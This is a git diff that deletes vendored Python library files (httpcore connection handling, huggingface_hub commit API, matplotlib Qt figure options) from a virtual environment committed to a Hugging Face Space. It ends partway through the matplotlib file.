@@ -1,222 +0,0 @@
-import itertools
-import logging
-import ssl
-from types import TracebackType
-from typing import Iterable, Iterator, Optional, Type
-
-from .._backends.sync import SyncBackend
-from .._backends.base import SOCKET_OPTION, NetworkBackend, NetworkStream
-from .._exceptions import ConnectError, ConnectionNotAvailable, ConnectTimeout
-from .._models import Origin, Request, Response
-from .._ssl import default_ssl_context
-from .._synchronization import Lock
-from .._trace import Trace
-from .http11 import HTTP11Connection
-from .interfaces import ConnectionInterface
-
-RETRIES_BACKOFF_FACTOR = 0.5  # 0s, 0.5s, 1s, 2s, 4s, etc.
-
-
-logger = logging.getLogger("httpcore.connection")
-
-
-def exponential_backoff(factor: float) -> Iterator[float]:
-    """
-    Generate a geometric sequence that has a ratio of 2 and starts with 0.
-
-    For example:
-    - `factor = 2`: `0, 2, 4, 8, 16, 32, 64, ...`
-    - `factor = 3`: `0, 3, 6, 12, 24, 48, 96, ...`
-    """
-    yield 0
-    for n in itertools.count():
-        yield factor * 2**n
-
-
-class HTTPConnection(ConnectionInterface):
-    def __init__(
-        self,
-        origin: Origin,
-        ssl_context: Optional[ssl.SSLContext] = None,
-        keepalive_expiry: Optional[float] = None,
-        http1: bool = True,
-        http2: bool = False,
-        retries: int = 0,
-        local_address: Optional[str] = None,
-        uds: Optional[str] = None,
-        network_backend: Optional[NetworkBackend] = None,
-        socket_options: Optional[Iterable[SOCKET_OPTION]] = None,
-    ) -> None:
-        self._origin = origin
-        self._ssl_context = ssl_context
-        self._keepalive_expiry = keepalive_expiry
-        self._http1 = http1
-        self._http2 = http2
-        self._retries = retries
-        self._local_address = local_address
-        self._uds = uds
-
-        self._network_backend: NetworkBackend = (
-            SyncBackend() if network_backend is None else network_backend
-        )
-        self._connection: Optional[ConnectionInterface] = None
-        self._connect_failed: bool = False
-        self._request_lock = Lock()
-        self._socket_options = socket_options
-
-    def handle_request(self, request: Request) -> Response:
-        if not self.can_handle_request(request.url.origin):
-            raise RuntimeError(
-                f"Attempted to send request to {request.url.origin} on connection to {self._origin}"
-            )
-
-        with self._request_lock:
-            if self._connection is None:
-                try:
-                    stream = self._connect(request)
-
-                    ssl_object = stream.get_extra_info("ssl_object")
-                    http2_negotiated = (
-                        ssl_object is not None
-                        and ssl_object.selected_alpn_protocol() == "h2"
-                    )
-                    if http2_negotiated or (self._http2 and not self._http1):
-                        from .http2 import HTTP2Connection
-
-                        self._connection = HTTP2Connection(
-                            origin=self._origin,
-                            stream=stream,
-                            keepalive_expiry=self._keepalive_expiry,
-                        )
-                    else:
-                        self._connection = HTTP11Connection(
-                            origin=self._origin,
-                            stream=stream,
-                            keepalive_expiry=self._keepalive_expiry,
-                        )
-                except Exception as exc:
-                    self._connect_failed = True
-                    raise exc
-            elif not self._connection.is_available():
-                raise ConnectionNotAvailable()
-
-        return self._connection.handle_request(request)
-
-    def _connect(self, request: Request) -> NetworkStream:
-        timeouts = request.extensions.get("timeout", {})
-        sni_hostname = request.extensions.get("sni_hostname", None)
-        timeout = timeouts.get("connect", None)
-
-        retries_left = self._retries
-        delays = exponential_backoff(factor=RETRIES_BACKOFF_FACTOR)
-
-        while True:
-            try:
-                if self._uds is None:
-                    kwargs = {
-                        "host": self._origin.host.decode("ascii"),
-                        "port": self._origin.port,
-                        "local_address": self._local_address,
-                        "timeout": timeout,
-                        "socket_options": self._socket_options,
-                    }
-                    with Trace("connect_tcp", logger, request, kwargs) as trace:
-                        stream = self._network_backend.connect_tcp(**kwargs)
-                        trace.return_value = stream
-                else:
-                    kwargs = {
-                        "path": self._uds,
-                        "timeout": timeout,
-                        "socket_options": self._socket_options,
-                    }
-                    with Trace(
-                        "connect_unix_socket", logger, request, kwargs
-                    ) as trace:
-                        stream = self._network_backend.connect_unix_socket(
-                            **kwargs
-                        )
-                        trace.return_value = stream
-
-                if self._origin.scheme == b"https":
-                    ssl_context = (
-                        default_ssl_context()
-                        if self._ssl_context is None
-                        else self._ssl_context
-                    )
-                    alpn_protocols = ["http/1.1", "h2"] if self._http2 else ["http/1.1"]
-                    ssl_context.set_alpn_protocols(alpn_protocols)
-
-                    kwargs = {
-                        "ssl_context": ssl_context,
-                        "server_hostname": sni_hostname
-                        or self._origin.host.decode("ascii"),
-                        "timeout": timeout,
-                    }
-                    with Trace("start_tls", logger, request, kwargs) as trace:
-                        stream = stream.start_tls(**kwargs)
-                        trace.return_value = stream
-                return stream
-            except (ConnectError, ConnectTimeout):
-                if retries_left <= 0:
-                    raise
-                retries_left -= 1
-                delay = next(delays)
-                with Trace("retry", logger, request, kwargs) as trace:
-                    self._network_backend.sleep(delay)
-
-    def can_handle_request(self, origin: Origin) -> bool:
-        return origin == self._origin
-
-    def close(self) -> None:
-        if self._connection is not None:
-            with Trace("close", logger, None, {}):
-                self._connection.close()
-
-    def is_available(self) -> bool:
-        if self._connection is None:
-            # If HTTP/2 support is enabled, and the resulting connection could
-            # end up as HTTP/2 then we should indicate the connection as being
-            # available to service multiple requests.
-            return (
-                self._http2
-                and (self._origin.scheme == b"https" or not self._http1)
-                and not self._connect_failed
-            )
-        return self._connection.is_available()
-
-    def has_expired(self) -> bool:
-        if self._connection is None:
-            return self._connect_failed
-        return self._connection.has_expired()
-
-    def is_idle(self) -> bool:
-        if self._connection is None:
-            return self._connect_failed
-        return self._connection.is_idle()
-
-    def is_closed(self) -> bool:
-        if self._connection is None:
-            return self._connect_failed
-        return self._connection.is_closed()
-
-    def info(self) -> str:
-        if self._connection is None:
-            return "CONNECTION FAILED" if self._connect_failed else "CONNECTING"
-        return self._connection.info()
-
-    def __repr__(self) -> str:
-        return f"<{self.__class__.__name__} [{self.info()}]>"
-
-    # These context managers are not used in the standard flow, but are
-    # useful for testing or working with connection instances directly.
-
-    def __enter__(self) -> "HTTPConnection":
-        return self
-
-    def __exit__(
-        self,
-        exc_type: Optional[Type[BaseException]] = None,
-        exc_value: Optional[BaseException] = None,
-        traceback: Optional[TracebackType] = None,
-    ) -> None:
-        self.close()
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/huggingface_hub/_commit_api.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/huggingface_hub/_commit_api.py
deleted file mode 100644
index bdf481e2653d41ee364dc7cadf4321778224175b..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/huggingface_hub/_commit_api.py
+++ /dev/null
@@ -1,637 +0,0 @@
-"""
-Type definitions and utilities for the `create_commit` API
-"""
-import base64
-import io
-import os
-import warnings
-from collections import defaultdict
-from contextlib import contextmanager
-from dataclasses import dataclass, field
-from itertools import groupby
-from pathlib import Path, PurePosixPath
-from typing import TYPE_CHECKING, Any, BinaryIO, Dict, Iterable, Iterator, List, Literal, Optional, Tuple, Union
-
-from tqdm.contrib.concurrent import thread_map
-
-from huggingface_hub import get_session
-
-from .constants import ENDPOINT, HF_HUB_ENABLE_HF_TRANSFER
-from .lfs import UploadInfo, lfs_upload, post_lfs_batch_info
-from .utils import (
-    EntryNotFoundError,
-    build_hf_headers,
-    chunk_iterable,
-    hf_raise_for_status,
-    logging,
-    tqdm_stream_file,
-    validate_hf_hub_args,
-)
-from .utils import tqdm as hf_tqdm
-
-
-if TYPE_CHECKING:
-    from .hf_api import RepoFile
-
-
-logger = logging.get_logger(__name__)
-
-
-UploadMode = Literal["lfs", "regular"]
-
-# Max is 1,000 per request on the Hub for HfApi.list_files_info
-# Otherwise we get:
-# HfHubHTTPError: 413 Client Error: Payload Too Large for url: https://huggingface.co/api/datasets/xxx (Request ID: xxx)\n\ntoo many parameters
-# See https://github.com/huggingface/huggingface_hub/issues/1503
-FETCH_LFS_BATCH_SIZE = 500
-
-
-@dataclass
-class CommitOperationDelete:
-    """
-    Data structure holding necessary info to delete a file or a folder from a repository
-    on the Hub.
-
-    Args:
-        path_in_repo (`str`):
-            Relative filepath in the repo, for example: `"checkpoints/1fec34a/weights.bin"`
-            for a file or `"checkpoints/1fec34a/"` for a folder.
-        is_folder (`bool` or `Literal["auto"]`, *optional*)
-            Whether the Delete Operation applies to a folder or not. If "auto", the path
-            type (file or folder) is guessed automatically by looking if path ends with
-            a "/" (folder) or not (file). To explicitly set the path type, you can set
-            `is_folder=True` or `is_folder=False`.
-    """
-
-    path_in_repo: str
-    is_folder: Union[bool, Literal["auto"]] = "auto"
-
-    def __post_init__(self):
-        self.path_in_repo = _validate_path_in_repo(self.path_in_repo)
-
-        if self.is_folder == "auto":
-            self.is_folder = self.path_in_repo.endswith("/")
-        if not isinstance(self.is_folder, bool):
-            raise ValueError(
-                f"Wrong value for `is_folder`. Must be one of [`True`, `False`, `'auto'`]. Got '{self.is_folder}'."
-            )
-
-
-@dataclass
-class CommitOperationCopy:
-    """
-    Data structure holding necessary info to copy a file in a repository on the Hub.
-
-    Limitations:
-      - Only LFS files can be copied. To copy a regular file, you need to download it locally and re-upload it
-      - Cross-repository copies are not supported.
-
-    Note: you can combine a [`CommitOperationCopy`] and a [`CommitOperationDelete`] to rename an LFS file on the Hub.
-
-    Args:
-        src_path_in_repo (`str`):
-            Relative filepath in the repo of the file to be copied, e.g. `"checkpoints/1fec34a/weights.bin"`.
-        path_in_repo (`str`):
-            Relative filepath in the repo where to copy the file, e.g. `"checkpoints/1fec34a/weights_copy.bin"`.
-        src_revision (`str`, *optional*):
-            The git revision of the file to be copied. Can be any valid git revision.
-            Default to the target commit revision.
-    """
-
-    src_path_in_repo: str
-    path_in_repo: str
-    src_revision: Optional[str] = None
-
-    def __post_init__(self):
-        self.src_path_in_repo = _validate_path_in_repo(self.src_path_in_repo)
-        self.path_in_repo = _validate_path_in_repo(self.path_in_repo)
-
-
-@dataclass
-class CommitOperationAdd:
-    """
-    Data structure holding necessary info to upload a file to a repository on the Hub.
-
-    Args:
-        path_in_repo (`str`):
-            Relative filepath in the repo, for example: `"checkpoints/1fec34a/weights.bin"`
-        path_or_fileobj (`str`, `Path`, `bytes`, or `BinaryIO`):
-            Either:
-            - a path to a local file (as `str` or `pathlib.Path`) to upload
-            - a buffer of bytes (`bytes`) holding the content of the file to upload
-            - a "file object" (subclass of `io.BufferedIOBase`), typically obtained
-                with `open(path, "rb")`. It must support `seek()` and `tell()` methods.
-
-    Raises:
-        [`ValueError`](https://docs.python.org/3/library/exceptions.html#ValueError)
-            If `path_or_fileobj` is not one of `str`, `Path`, `bytes` or `io.BufferedIOBase`.
-        [`ValueError`](https://docs.python.org/3/library/exceptions.html#ValueError)
-            If `path_or_fileobj` is a `str` or `Path` but not a path to an existing file.
-        [`ValueError`](https://docs.python.org/3/library/exceptions.html#ValueError)
-            If `path_or_fileobj` is a `io.BufferedIOBase` but it doesn't support both
-            `seek()` and `tell()`.
-    """
-
-    path_in_repo: str
-    path_or_fileobj: Union[str, Path, bytes, BinaryIO]
-    upload_info: UploadInfo = field(init=False, repr=False)
-
-    # Internal attributes
-    _upload_mode: Optional[UploadMode] = field(
-        init=False, repr=False, default=None
-    )  # set to "lfs" or "regular" once known
-    _is_uploaded: bool = field(
-        init=False, repr=False, default=False
-    )  # set to True once the file has been uploaded as LFS
-    _is_committed: bool = field(init=False, repr=False, default=False)  # set to True once the file has been committed
-
-    def __post_init__(self) -> None:
-        """Validates `path_or_fileobj` and compute `upload_info`."""
-        self.path_in_repo = _validate_path_in_repo(self.path_in_repo)
-
-        # Validate `path_or_fileobj` value
-        if isinstance(self.path_or_fileobj, Path):
-            self.path_or_fileobj = str(self.path_or_fileobj)
-        if isinstance(self.path_or_fileobj, str):
-            path_or_fileobj = os.path.normpath(os.path.expanduser(self.path_or_fileobj))
-            if not os.path.isfile(path_or_fileobj):
-                raise ValueError(f"Provided path: '{path_or_fileobj}' is not a file on the local file system")
-        elif not isinstance(self.path_or_fileobj, (io.BufferedIOBase, bytes)):
-            # ^^ Inspired from: https://stackoverflow.com/questions/44584829/how-to-determine-if-file-is-opened-in-binary-or-text-mode
-            raise ValueError(
-                "path_or_fileobj must be either an instance of str, bytes or"
-                " io.BufferedIOBase. If you passed a file-like object, make sure it is"
-                " in binary mode."
-            )
-        if isinstance(self.path_or_fileobj, io.BufferedIOBase):
-            try:
-                self.path_or_fileobj.tell()
-                self.path_or_fileobj.seek(0, os.SEEK_CUR)
-            except (OSError, AttributeError) as exc:
-                raise ValueError(
-                    "path_or_fileobj is a file-like object but does not implement seek() and tell()"
-                ) from exc
-
-        # Compute "upload_info" attribute
-        if isinstance(self.path_or_fileobj, str):
-            self.upload_info = UploadInfo.from_path(self.path_or_fileobj)
-        elif isinstance(self.path_or_fileobj, bytes):
-            self.upload_info = UploadInfo.from_bytes(self.path_or_fileobj)
-        else:
-            self.upload_info = UploadInfo.from_fileobj(self.path_or_fileobj)
-
-    @contextmanager
-    def as_file(self, with_tqdm: bool = False) -> Iterator[BinaryIO]:
-        """
-        A context manager that yields a file-like object allowing to read the underlying
-        data behind `path_or_fileobj`.
-
-        Args:
-            with_tqdm (`bool`, *optional*, defaults to `False`):
-                If True, iterating over the file object will display a progress bar. Only
-                works if the file-like object is a path to a file. Pure bytes and buffers
-                are not supported.
-
-        Example:
-
-        ```python
-        >>> operation = CommitOperationAdd(
-        ...        path_in_repo="remote/dir/weights.h5",
-        ...        path_or_fileobj="./local/weights.h5",
-        ... )
-        CommitOperationAdd(path_in_repo='remote/dir/weights.h5', path_or_fileobj='./local/weights.h5')
-
-        >>> with operation.as_file() as file:
-        ...     content = file.read()
-
-        >>> with operation.as_file(with_tqdm=True) as file:
-        ...     while True:
-        ...         data = file.read(1024)
-        ...         if not data:
-        ...              break
-        config.json: 100%|█████████████████████████| 8.19k/8.19k [00:02<00:00, 3.72kB/s]
-
-        >>> with operation.as_file(with_tqdm=True) as file:
-        ...     requests.put(..., data=file)
-        config.json: 100%|█████████████████████████| 8.19k/8.19k [00:02<00:00, 3.72kB/s]
-        ```
-        """
-        if isinstance(self.path_or_fileobj, str) or isinstance(self.path_or_fileobj, Path):
-            if with_tqdm:
-                with tqdm_stream_file(self.path_or_fileobj) as file:
-                    yield file
-            else:
-                with open(self.path_or_fileobj, "rb") as file:
-                    yield file
-        elif isinstance(self.path_or_fileobj, bytes):
-            yield io.BytesIO(self.path_or_fileobj)
-        elif isinstance(self.path_or_fileobj, io.BufferedIOBase):
-            prev_pos = self.path_or_fileobj.tell()
-            yield self.path_or_fileobj
-            self.path_or_fileobj.seek(prev_pos, io.SEEK_SET)
-
-    def b64content(self) -> bytes:
-        """
-        The base64-encoded content of `path_or_fileobj`
-
-        Returns: `bytes`
-        """
-        with self.as_file() as file:
-            return base64.b64encode(file.read())
-
-
-def _validate_path_in_repo(path_in_repo: str) -> str:
-    # Validate `path_in_repo` value to prevent a server-side issue
-    if path_in_repo.startswith("/"):
-        path_in_repo = path_in_repo[1:]
-    if path_in_repo == "." or path_in_repo == ".." or path_in_repo.startswith("../"):
-        raise ValueError(f"Invalid `path_in_repo` in CommitOperation: '{path_in_repo}'")
-    if path_in_repo.startswith("./"):
-        path_in_repo = path_in_repo[2:]
-    if any(part == ".git" for part in path_in_repo.split("/")):
-        raise ValueError(
-            "Invalid `path_in_repo` in CommitOperation: cannot update files under a '.git/' folder (path:"
-            f" '{path_in_repo}')."
-        )
-    return path_in_repo
-
-
-CommitOperation = Union[CommitOperationAdd, CommitOperationCopy, CommitOperationDelete]
-
-
-def _warn_on_overwriting_operations(operations: List[CommitOperation]) -> None:
-    """
-    Warn user when a list of operations is expected to overwrite itself in a single
-    commit.
-
-    Rules:
-    - If a filepath is updated by multiple `CommitOperationAdd` operations, a warning
-      message is triggered.
-    - If a filepath is updated at least once by a `CommitOperationAdd` and then deleted
-      by a `CommitOperationDelete`, a warning is triggered.
-    - If a `CommitOperationDelete` deletes a filepath that is then updated by a
-      `CommitOperationAdd`, no warning is triggered. This is usually useless (no need to
-      delete before upload) but can happen if a user deletes an entire folder and then
-      add new files to it.
-    """
-    nb_additions_per_path: Dict[str, int] = defaultdict(int)
-    for operation in operations:
-        path_in_repo = operation.path_in_repo
-        if isinstance(operation, CommitOperationAdd):
-            if nb_additions_per_path[path_in_repo] > 0:
-                warnings.warn(
-                    "About to update multiple times the same file in the same commit:"
-                    f" '{path_in_repo}'. This can cause undesired inconsistencies in"
-                    " your repo."
-                )
-            nb_additions_per_path[path_in_repo] += 1
-            for parent in PurePosixPath(path_in_repo).parents:
-                # Also keep track of number of updated files per folder
-                # => warns if deleting a folder overwrite some contained files
-                nb_additions_per_path[str(parent)] += 1
-        if isinstance(operation, CommitOperationDelete):
-            if nb_additions_per_path[str(PurePosixPath(path_in_repo))] > 0:
-                if operation.is_folder:
-                    warnings.warn(
-                        "About to delete a folder containing files that have just been"
-                        f" updated within the same commit: '{path_in_repo}'. This can"
-                        " cause undesired inconsistencies in your repo."
-                    )
-                else:
-                    warnings.warn(
-                        "About to delete a file that have just been updated within the"
-                        f" same commit: '{path_in_repo}'. This can cause undesired"
-                        " inconsistencies in your repo."
-                    )
-
-
-@validate_hf_hub_args
-def _upload_lfs_files(
-    *,
-    additions: List[CommitOperationAdd],
-    repo_type: str,
-    repo_id: str,
-    token: Optional[str],
-    endpoint: Optional[str] = None,
-    num_threads: int = 5,
-):
-    """
-    Uploads the content of `additions` to the Hub using the large file storage protocol.
-
-    Relevant external documentation:
-        - LFS Batch API: https://github.com/git-lfs/git-lfs/blob/main/docs/api/batch.md
-
-    Args:
-        additions (`List` of `CommitOperationAdd`):
-            The files to be uploaded
-        repo_type (`str`):
-            Type of the repo to upload to: `"model"`, `"dataset"` or `"space"`.
-        repo_id (`str`):
-            A namespace (user or an organization) and a repo name separated
-            by a `/`.
-        token (`str`, *optional*):
-            An authentication token ( See https://huggingface.co/settings/tokens )
-        num_threads (`int`, *optional*):
-            The number of concurrent threads to use when uploading. Defaults to 5.
-
-
-    Raises: `RuntimeError` if an upload failed for any reason
-
-    Raises: `ValueError` if the server returns malformed responses
-
-    Raises: `requests.HTTPError` if the LFS batch endpoint returned an HTTP
-        error
-
-    """
-    # Step 1: retrieve upload instructions from the LFS batch endpoint.
-    #         Upload instructions are retrieved by chunk of 256 files to avoid reaching
-    #         the payload limit.
-    batch_actions: List[Dict] = []
-    for chunk in chunk_iterable(additions, chunk_size=256):
-        batch_actions_chunk, batch_errors_chunk = post_lfs_batch_info(
-            upload_infos=[op.upload_info for op in chunk],
-            token=token,
-            repo_id=repo_id,
-            repo_type=repo_type,
-            endpoint=endpoint,
-        )
-
-        # If at least 1 error, we do not retrieve information for other chunks
-        if batch_errors_chunk:
-            message = "\n".join(
-                [
-                    f'Encountered error for file with OID {err.get("oid")}: `{err.get("error", {}).get("message")}'
-                    for err in batch_errors_chunk
-                ]
-            )
-            raise ValueError(f"LFS batch endpoint returned errors:\n{message}")
-
-        batch_actions += batch_actions_chunk
-    oid2addop = {add_op.upload_info.sha256.hex(): add_op for add_op in additions}
-
-    # Step 2: ignore files that have already been uploaded
-    filtered_actions = []
-    for action in batch_actions:
-        if action.get("actions") is None:
-            logger.debug(
-                f"Content of file {oid2addop[action['oid']].path_in_repo} is already"
-                " present upstream - skipping upload."
-            )
-        else:
-            filtered_actions.append(action)
-
-    if len(filtered_actions) == 0:
-        logger.debug("No LFS files to upload.")
-        return
-
-    # Step 3: upload files concurrently according to these instructions
-    def _wrapped_lfs_upload(batch_action) -> None:
-        try:
-            operation = oid2addop[batch_action["oid"]]
-            lfs_upload(operation=operation, lfs_batch_action=batch_action, token=token)
-        except Exception as exc:
-            raise RuntimeError(f"Error while uploading '{operation.path_in_repo}' to the Hub.") from exc
-
-    if HF_HUB_ENABLE_HF_TRANSFER:
-        logger.debug(f"Uploading {len(filtered_actions)} LFS files to the Hub using `hf_transfer`.")
-        for action in hf_tqdm(filtered_actions):
-            _wrapped_lfs_upload(action)
-    elif len(filtered_actions) == 1:
-        logger.debug("Uploading 1 LFS file to the Hub")
-        _wrapped_lfs_upload(filtered_actions[0])
-    else:
-        logger.debug(
-            f"Uploading {len(filtered_actions)} LFS files to the Hub using up to {num_threads} threads concurrently"
-        )
-        thread_map(
-            _wrapped_lfs_upload,
-            filtered_actions,
-            desc=f"Upload {len(filtered_actions)} LFS files",
-            max_workers=num_threads,
-            tqdm_class=hf_tqdm,
-        )
-
-
-def _validate_preupload_info(preupload_info: dict):
-    files = preupload_info.get("files")
-    if not isinstance(files, list):
-        raise ValueError("preupload_info is improperly formatted")
-    for file_info in files:
-        if not (
-            isinstance(file_info, dict)
-            and isinstance(file_info.get("path"), str)
-            and isinstance(file_info.get("uploadMode"), str)
-            and (file_info["uploadMode"] in ("lfs", "regular"))
-        ):
-            raise ValueError("preupload_info is improperly formatted:")
-    return preupload_info
-
-
-@validate_hf_hub_args
-def _fetch_upload_modes(
-    additions: Iterable[CommitOperationAdd],
-    repo_type: str,
-    repo_id: str,
-    token: Optional[str],
-    revision: str,
-    endpoint: Optional[str] = None,
-    create_pr: bool = False,
-) -> None:
-    """
-    Requests the Hub "preupload" endpoint to determine whether each input file should be uploaded as a regular git blob
-    or as git LFS blob. Input `additions` are mutated in-place with the upload mode.
-
-    Args:
-        additions (`Iterable` of :class:`CommitOperationAdd`):
-            Iterable of :class:`CommitOperationAdd` describing the files to
-            upload to the Hub.
-        repo_type (`str`):
-            Type of the repo to upload to: `"model"`, `"dataset"` or `"space"`.
-        repo_id (`str`):
-            A namespace (user or an organization) and a repo name separated
-            by a `/`.
-        token (`str`, *optional*):
-            An authentication token ( See https://huggingface.co/settings/tokens )
-        revision (`str`):
-            The git revision to upload the files to. Can be any valid git revision.
-
-    Raises:
-        [`~utils.HfHubHTTPError`]
-            If the Hub API returned an error.
-        [`ValueError`](https://docs.python.org/3/library/exceptions.html#ValueError)
-            If the Hub API response is improperly formatted.
-    """
-    endpoint = endpoint if endpoint is not None else ENDPOINT
-    headers = build_hf_headers(token=token)
-
-    # Fetch upload mode (LFS or regular) chunk by chunk.
-    upload_modes: Dict[str, UploadMode] = {}
-    for chunk in chunk_iterable(additions, 256):
-        payload = {
-            "files": [
-                {
-                    "path": op.path_in_repo,
-                    "sample": base64.b64encode(op.upload_info.sample).decode("ascii"),
-                    "size": op.upload_info.size,
-                    "sha": op.upload_info.sha256.hex(),
-                }
-                for op in chunk
-            ]
-        }
-
-        resp = get_session().post(
-            f"{endpoint}/api/{repo_type}s/{repo_id}/preupload/{revision}",
-            json=payload,
-            headers=headers,
-            params={"create_pr": "1"} if create_pr else None,
-        )
-        hf_raise_for_status(resp)
-        preupload_info = _validate_preupload_info(resp.json())
-        upload_modes.update(**{file["path"]: file["uploadMode"] for file in preupload_info["files"]})
-
-    # Set upload mode for each addition operation
-    for addition in additions:
-        addition._upload_mode = upload_modes[addition.path_in_repo]
-
-    # Empty files cannot be uploaded as LFS (S3 would fail with a 501 Not Implemented)
-    # => empty files are uploaded as "regular" to still allow users to commit them.
-    for addition in additions:
-        if addition.upload_info.size == 0:
-            addition._upload_mode = "regular"
-
-
-@validate_hf_hub_args
-def _fetch_lfs_files_to_copy(
-    copies: Iterable[CommitOperationCopy],
-    repo_type: str,
-    repo_id: str,
-    token: Optional[str],
-    revision: str,
-    endpoint: Optional[str] = None,
-) -> Dict[Tuple[str, Optional[str]], "RepoFile"]:
-    """
-    Requests the Hub files information of the LFS files to be copied, including their sha256.
-
-    Args:
-        copies (`Iterable` of :class:`CommitOperationCopy`):
-            Iterable of :class:`CommitOperationCopy` describing the files to
-            copy on the Hub.
-        repo_type (`str`):
-            Type of the repo to upload to: `"model"`, `"dataset"` or `"space"`.
-        repo_id (`str`):
-            A namespace (user or an organization) and a repo name separated
-            by a `/`.
-        token (`str`, *optional*):
-            An authentication token ( See https://huggingface.co/settings/tokens )
-        revision (`str`):
-            The git revision to upload the files to. Can be any valid git revision.
-
-    Returns: `Dict[Tuple[str, Optional[str]], RepoFile]]`
-        Key is the file path and revision of the file to copy, value is the repo file.
-
-    Raises:
-        [`~utils.HfHubHTTPError`]
-            If the Hub API returned an error.
-        [`ValueError`](https://docs.python.org/3/library/exceptions.html#ValueError)
-            If the Hub API response is improperly formatted.
-    """
-    from .hf_api import HfApi
-
-    hf_api = HfApi(endpoint=endpoint, token=token)
-    files_to_copy = {}
-    for src_revision, operations in groupby(copies, key=lambda op: op.src_revision):
-        operations = list(operations)  # type: ignore
-        paths = [op.src_path_in_repo for op in operations]
-        for offset in range(0, len(paths), FETCH_LFS_BATCH_SIZE):
-            src_repo_files = hf_api.list_files_info(
-                repo_id=repo_id,
-                paths=paths[offset : offset + FETCH_LFS_BATCH_SIZE],
-                revision=src_revision or revision,
-                repo_type=repo_type,
-            )
-            for src_repo_file in src_repo_files:
-                if not src_repo_file.lfs:
-                    raise NotImplementedError("Copying a non-LFS file is not implemented")
-                files_to_copy[(src_repo_file.rfilename, src_revision)] = src_repo_file
-        for operation in operations:
-            if (operation.src_path_in_repo, src_revision) not in files_to_copy:
-                raise EntryNotFoundError(
-                    f"Cannot copy {operation.src_path_in_repo} at revision "
-                    f"{src_revision or revision}: file is missing on repo."
-                )
-    return files_to_copy
-
-
-def _prepare_commit_payload(
-    operations: Iterable[CommitOperation],
-    files_to_copy: Dict[Tuple[str, Optional[str]], "RepoFile"],
-    commit_message: str,
-    commit_description: Optional[str] = None,
-    parent_commit: Optional[str] = None,
-) -> Iterable[Dict[str, Any]]:
-    """
-    Builds the payload to POST to the `/commit` API of the Hub.
-
-    Payload is returned as an iterator so that it can be streamed as a ndjson in the
-    POST request.
-
-    For more information, see:
-        - https://github.com/huggingface/huggingface_hub/issues/1085#issuecomment-1265208073
-        - http://ndjson.org/
-    """
-    commit_description = commit_description if commit_description is not None else ""
-
-    # 1. Send a header item with the commit metadata
-    header_value = {"summary": commit_message, "description": commit_description}
-    if parent_commit is not None:
-        header_value["parentCommit"] = parent_commit
-    yield {"key": "header", "value": header_value}
-
-    # 2. Send operations, one per line
-    for operation in operations:
-        # 2.a. Case adding a regular file
-        if isinstance(operation, CommitOperationAdd) and operation._upload_mode == "regular":
-            yield {
-                "key": "file",
-                "value": {
-                    "content": operation.b64content().decode(),
-                    "path": operation.path_in_repo,
-                    "encoding": "base64",
-                },
-            }
-        # 2.b. Case adding an LFS file
-        elif isinstance(operation, CommitOperationAdd) and operation._upload_mode == "lfs":
-            yield {
-                "key": "lfsFile",
-                "value": {
-                    "path": operation.path_in_repo,
-                    "algo": "sha256",
-                    "oid": operation.upload_info.sha256.hex(),
-                    "size": operation.upload_info.size,
-                },
-            }
-        # 2.c. Case deleting a file or folder
-        elif isinstance(operation, CommitOperationDelete):
-            yield {
-                "key": "deletedFolder" if operation.is_folder else "deletedFile",
-                "value": {"path": operation.path_in_repo},
-            }
-        # 2.d. Case copying a file or folder
-        elif isinstance(operation, CommitOperationCopy):
-            file_to_copy = files_to_copy[(operation.src_path_in_repo, operation.src_revision)]
-            if not file_to_copy.lfs:
-                raise NotImplementedError("Copying a non-LFS file is not implemented")
-            yield {
-                "key": "lfsFile",
-                "value": {
-                    "path": operation.path_in_repo,
-                    "algo": "sha256",
-                    "oid": file_to_copy.lfs["sha256"],
-                },
-            }
-        # 2.e. Never expected to happen
-        else:
-            raise ValueError(
-                f"Unknown operation to commit. Operation: {operation}. Upload mode:"
-                f" {getattr(operation, '_upload_mode', None)}"
-            )
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/backends/qt_editor/figureoptions.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/backends/qt_editor/figureoptions.py
deleted file mode 100644
index c744ccc3ca592054e96085ef2b83c4685fe22d24..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/matplotlib/backends/qt_editor/figureoptions.py
+++ /dev/null
@@ -1,263 +0,0 @@
-# Copyright © 2009 Pierre Raybaut
-# Licensed under the terms of the MIT License
-# see the Matplotlib licenses directory for a copy of the license
-
-
-"""Module that provides a GUI-based editor for Matplotlib's figure options."""
-
-from itertools import chain
-from matplotlib import cbook, cm, colors as mcolors, markers, image as mimage
-from matplotlib.backends.qt_compat import QtGui
-from matplotlib.backends.qt_editor import _formlayout
-from matplotlib.dates import DateConverter, num2date
-
-LINESTYLES = {'-': 'Solid',
-              '--': 'Dashed',
-              '-.': 'DashDot',
-              ':': 'Dotted',
-              'None': 'None',
-              }
-
-DRAWSTYLES = {
-    'default': 'Default',
-    'steps-pre': 'Steps (Pre)', 'steps': 'Steps (Pre)',
-    'steps-mid': 'Steps (Mid)',
-    'steps-post': 'Steps (Post)'}
-
-MARKERS = markers.MarkerStyle.markers
-
-
-def figure_edit(axes, parent=None):
-    """Edit matplotlib figure options"""
-    sep = (None, None)  # separator
-
-    # Get / General
-    def convert_limits(lim, converter):
-        """Convert axis limits for correct input editors."""
-        if isinstance(converter, DateConverter):
-            return map(num2date, lim)
-        # Cast to builtin floats as they have nicer reprs.
-        return map(float, lim)
-
-    axis_map = axes._axis_map
-    axis_limits = {
-        name: tuple(convert_limits(
-            getattr(axes, f'get_{name}lim')(), axis.converter
-        ))
-        for name, axis in axis_map.items()
-    }
-    general = [
-        ('Title', axes.get_title()),
-        sep,
-        *chain.from_iterable([
-            (
-                (None, f"<b>{name.title()}-Axis</b>"),
-                ('Min', axis_limits[name][0]),
-                ('Max', axis_limits[name][1]),
-                ('Label', axis.get_label().get_text()),
-                ('Scale', [axis.get_scale(),
-                           'linear', 'log', 'symlog', 'logit']),
-                sep,
-            )
-            for name, axis in axis_map.items()
-        ]),
-        ('(Re-)Generate automatic legend', False),
-    ]
-
-    # Save the converter and unit data
-    axis_converter = {
-        name: axis.converter
-        for name, axis in axis_map.items()
-    }
-    axis_units = {
-        name: axis.get_units()
-        for name, axis in axis_map.items()
-    }
-
-    # Get / Curves
